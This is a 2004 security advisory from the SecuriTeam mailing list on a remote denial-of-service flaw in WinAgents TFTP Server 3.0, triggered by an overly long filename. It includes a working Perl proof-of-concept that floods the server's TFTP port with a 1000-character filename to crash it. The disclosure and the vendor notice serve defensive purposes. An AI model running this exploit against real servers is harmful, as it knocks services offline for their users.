[NT] WinAgents TFTP Server Remote DoS (Long Filename)
From: SecuriTeam (support_at_securiteam.com)
Date: 06/16/04
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To: list@securiteam.com Date: 16 Jun 2004 17:33:25 +0200
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WinAgents TFTP Server Remote DoS (Long Filename)
------------------------------------------------------------------------
SUMMARY
" <http://www.winagents.com/en/products/tftp-server/index.php> WinAgents
TFTP Server for Windows is a fully-realized TFTP server for Windows
2000/XP. WinAgent's TFTP Server runs as a background task and doesn't
require permanent attendance". WinAgent TFTP server contains a remotely
exploitable condition that leads to the crashing of the server software,
thereby a denial of service condition arises.
DETAILS
Vulnerable Systems:
* WinAgent TFTP Server version 3.0
By simply requesting a file with an overly long filename string triggers
the remote denial-of-service condition.
Exploit:
A sample proof-of-concept exploit code written in Perl is provided which
can easily be used to test for this vulnerability:
#!/usr/bin/perl
#
# Remote D.O.S WinAgents TFTP Server ver 3.0
#
# Tftp.pl <Host>
use IO::Socket;
$Tftp_Port = "69";
$FileName = "A"x1000;
$Tftp_OP = "\x00\x01";
$Tftp_M = "bin";
$Buf = $Tftp_OP . $Tftp_M . $FileName ;
if(!($ARGV[0]))
{
print "\nUsage: perl $0 <Host>\n" ;
exit;
}
print "\nRemote D.O.S WinAgents TFTP Server ver 3.0 PoC\n\n\n";
$socket = IO::Socket::INET->new(Proto => "udp") or die "Socket Error
..\n";
$ipaddr = inet_aton($ARGV[0]);
$portaddr = sockaddr_in($Tftp_Port, $ipaddr);
send($socket, $Buf, 0, $portaddr) == length($Buf) or die "Error : Can't
send ...\n";
print "Server : $ARGV[0] Is Down ... \n";
Vendor Status:
The vendor was informed at 07.06.2004 and a fix should be out soon.
Upgrade to the newer version.
ADDITIONAL INFORMATION
The information has been provided by <mailto:gss_it@yahoo.com> Global
Security Solution IT.
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